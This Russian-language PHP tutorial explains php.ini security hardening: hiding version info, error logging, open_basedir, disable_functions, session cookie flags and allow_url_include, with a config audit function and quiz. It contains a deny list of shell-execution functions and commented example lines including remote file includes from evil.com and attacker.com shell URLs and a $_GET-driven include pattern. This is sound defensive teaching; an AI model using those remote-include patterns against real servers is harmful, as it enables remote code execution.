Mid📖Теория6 min

Безопасность

Директивы безопасности php.ini: expose_php, display_errors, open_basedir, disable_functions, настройки сессий и ограничение доступа

Настройки безопасности

Принцип минимальных привилегий

Безопасная конфигурация PHP следует принципу "запретить всё, разрешить только необходимое". Каждая раскрытая деталь о системе -- потенциальный вектор атаки. Каждая доступная функция -- потенциальный инструмент злоумышленника.


Скрытие информации о PHP

expose_php

; Removes X-Powered-By header from HTTP responses
; Default: On (INSECURE!)
expose_php = Off

Когда expose_php = On, каждый HTTP-ответ содержит заголовок:

X-Powered-By: PHP/8.4.3

Это раскрывает версию PHP, что помогает атакующим искать уязвимости конкретной версии.

display_errors и display_startup_errors

; NEVER show errors to users in production
display_errors = Off
display_startup_errors = Off

; ALWAYS log errors instead
log_errors = On
log_errors_max_len = 4096

; Dedicated error log file
error_log = /var/log/php/error.log

; Report all errors (but don't display them)
error_reporting = E_ALL
<?php

// What attacker sees with display_errors = On:
// Fatal error: Uncaught PDOException: SQLSTATE[42S02]:
// Base table or view not found: 1146 Table 'myapp.users'
// in /var/www/app/src/Repository/UserRepository.php:42

// This reveals:
// 1. Database engine (MySQL)
// 2. Database name (myapp)
// 3. Table name (users)
// 4. Full file path (/var/www/app/src/...)
// 5. Code structure (Repository pattern)

Правило: На production всегда display_errors = Off + log_errors = On. Ошибки видит разработчик в логах, а не пользователь (и атакующий) в браузере.

Скрытие аргументов в stack trace

; PHP 8.0+: Hide function arguments in stack traces
; Prevents leaking passwords, tokens, etc. in error logs
zend.exception_ignore_args = On

; PHP 8.0+: Limit string parameter length in traces
; 0 = don't include string values at all
zend.exception_string_param_max_len = 0

Ограничение файловой системы

open_basedir

; Restrict PHP file access to specific directories
; PHP cannot read/write/include files outside these paths
open_basedir = /var/www/app:/tmp:/usr/share/php

; Multiple paths separated by : (Linux) or ; (Windows)
; ALWAYS include tmp directory for file uploads and sessions
<?php

// With open_basedir = /var/www/app:/tmp

file_get_contents('/var/www/app/config/settings.php'); // OK
file_get_contents('/etc/passwd');                       // Warning: open_basedir restriction
include '/var/log/nginx/access.log';                   // Warning: open_basedir restriction

Важно: open_basedir имеет уровень PHP_INI_SYSTEM (PHP 8.0+). Нельзя изменить через ini_set() или .user.ini. Настраивается только в php.ini или httpd.conf.

doc_root и user_dir

; Restrict PHP to specific document root (rarely used with FPM)
doc_root = /var/www/app/public

; Per-user directory for ~/public_html setups
user_dir = public_html

Отключение опасных функций

disable_functions

; Disable dangerous functions that allow system command execution
; PHP_INI_SYSTEM -- only in php.ini
disable_functions = exec,shell_exec,system,passthru,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,popen,dl,putenv,show_source,highlight_file,phpinfo,php_uname

; Minimal recommended set for web applications:
disable_functions = exec,shell_exec,system,passthru,proc_open,popen

Разбор опасных функций

Функция Опасность Когда нужна
exec() Выполнение команд ОС CLI-скрипты, воркеры
shell_exec() То же через shell Почти никогда
system() Вывод команды напрямую Редко
passthru() Бинарный вывод команды Генерация файлов
proc_open() Управление процессами Symfony Process
popen() Открытие pipe к процессу Потоковая обработка
putenv() Изменение ENV переменных Может влиять на загрузку библиотек
phpinfo() Раскрытие конфигурации Только для отладки
dl() Загрузка расширений Никогда на production

Внимание: Symfony Process использует proc_open(). Если ваше приложение использует этот компонент (например, для отправки email через sendmail), не отключайте proc_open.

disable_classes

; Disable specific classes (rarely used, but available)
disable_classes =

Настройки сессий

[Session]
; Session cookie settings -- CRITICAL for security

; HttpOnly: JavaScript cannot access session cookie
; Prevents XSS-based session hijacking
session.cookie_httponly = 1

; Secure: Cookie sent only over HTTPS
; MUST enable if site uses HTTPS (should be always)
session.cookie_secure = 1

; SameSite: Controls cross-site cookie sending
; "Strict" -- never sent cross-site (may break OAuth redirects)
; "Lax" -- sent on top-level navigation (recommended default)
; "None" -- always sent (requires Secure=true, needed for iframes)
session.cookie_samesite = Lax

; Session name (default: PHPSESSID -- reveals PHP usage)
session.name = __sess

; Cookie lifetime: 0 = until browser closes (session cookie)
session.cookie_lifetime = 0

; Cookie path and domain
session.cookie_path = /
session.cookie_domain =

Строгий режим сессий

; Strict mode: reject uninitialized session IDs
; Prevents session fixation attacks
session.use_strict_mode = 1

; Only use cookies for session ID (no URL parameters)
session.use_cookies = 1
session.use_only_cookies = 1

; Transparent session ID disabled (no ?PHPSESSID=xxx in URLs)
session.use_trans_sid = 0

; Session ID length and entropy
session.sid_length = 48
session.sid_bits_per_character = 6

Сравнение настроек

Директива Небезопасно Безопасно Зачем
cookie_httponly 0 1 Защита от XSS
cookie_secure 0 1 Только HTTPS
cookie_samesite (пусто) Lax/Strict Защита от CSRF
use_strict_mode 0 1 Защита от session fixation
use_only_cookies 0 1 Не передавать ID в URL
use_trans_sid 1 0 Не встраивать ID в HTML

Ограничение удалённого доступа

allow_url_fopen и allow_url_include

; allow_url_fopen: Allow file functions to access URLs
; Default: On. Needed for many libraries (Composer, HTTP clients)
allow_url_fopen = On

; allow_url_include: Allow include/require with URLs
; Default: Off. NEVER enable! Remote code execution risk
allow_url_include = Off
<?php

// allow_url_fopen = On (usually needed)
$content = file_get_contents('https://api.example.com/data');
// Works. Many libraries depend on this.

// allow_url_include = Off (ALWAYS keep off!)
// include 'https://evil.com/malicious.php'; // BLOCKED
// require 'ftp://attacker.com/shell.php';   // BLOCKED

// If attacker can control include path:
$page = $_GET['page']; // "https://evil.com/shell"
// include $page . '.php'; // With allow_url_include=On: RCE!

Различие: allow_url_fopen позволяет file_get_contents() и fopen() работать с URL. allow_url_include позволяет include/require загружать код с удалённых серверов. Первое обычно нужно, второе -- никогда.


Дополнительные директивы безопасности

Ограничение ресурсов

; Limit POST body size (prevents memory exhaustion attacks)
post_max_size = 8M

; Limit uploaded file size
upload_max_filesize = 2M

; Limit number of input variables (prevents hash DoS)
max_input_vars = 1000

; Maximum nesting level (prevents stack overflow via deep JSON/XML)
xdebug.max_nesting_level = 256

Логирование для безопасности

; Log all errors -- essential for security monitoring
log_errors = On
error_log = /var/log/php/error.log

; Log deprecated notices (helps prepare for version upgrades)
error_reporting = E_ALL

; Mail errors to admin (use sparingly!)
; error_log = syslog  ; Send to syslog for centralized monitoring

Полная production-конфигурация безопасности

; === SECURITY HARDENING ===

[PHP]
; Hide PHP
expose_php = Off

; Error handling
display_errors = Off
display_startup_errors = Off
log_errors = On
error_log = /var/log/php/error.log
error_reporting = E_ALL
zend.exception_ignore_args = On
zend.exception_string_param_max_len = 0

; File access restriction
open_basedir = /var/www/app:/tmp
allow_url_fopen = On
allow_url_include = Off

; Disable dangerous functions
disable_functions = exec,shell_exec,system,passthru,proc_open,popen,dl,putenv,phpinfo,show_source
disable_classes =

; Input limits
max_input_vars = 1000
post_max_size = 8M
upload_max_filesize = 2M

[Session]
session.cookie_httponly = 1
session.cookie_secure = 1
session.cookie_samesite = Lax
session.use_strict_mode = 1
session.use_only_cookies = 1
session.use_trans_sid = 0
session.name = __sess
session.sid_length = 48
session.sid_bits_per_character = 6

Проверка безопасности конфигурации

<?php

function auditSecurityConfig(): array
{
    $issues = [];

    if (ini_get('expose_php')) {
        $issues[] = 'expose_php is On -- reveals PHP version';
    }
    if (ini_get('display_errors')) {
        $issues[] = 'display_errors is On -- shows errors to users';
    }
    if (!ini_get('log_errors')) {
        $issues[] = 'log_errors is Off -- errors are lost';
    }
    if (ini_get('allow_url_include')) {
        $issues[] = 'CRITICAL: allow_url_include is On -- RCE risk!';
    }
    if (!ini_get('session.cookie_httponly')) {
        $issues[] = 'session.cookie_httponly is Off -- XSS risk';
    }
    if (!ini_get('session.cookie_secure')) {
        $issues[] = 'session.cookie_secure is Off -- cookie sent over HTTP';
    }
    if (!ini_get('session.use_strict_mode')) {
        $issues[] = 'session.use_strict_mode is Off -- fixation risk';
    }

    $disabled = ini_get('disable_functions');
    $dangerous = ['exec', 'shell_exec', 'system', 'passthru'];
    foreach ($dangerous as $func) {
        if (!str_contains($disabled, $func)) {
            $issues[] = "$func is not disabled";
        }
    }

    return $issues;
}

Проверь себя

🧪

Можно ли изменить `open_basedir` через `ini_set()` в PHP 8.4?

🧪

Чем `allow_url_fopen` отличается от `allow_url_include`?

🧪

Что делает `session.use_strict_mode = 1`?

🧪

Какая директива `session.cookie_samesite` рекомендуется как баланс безопасности и совместимости?

🧪

Что раскрывает `expose_php = On`?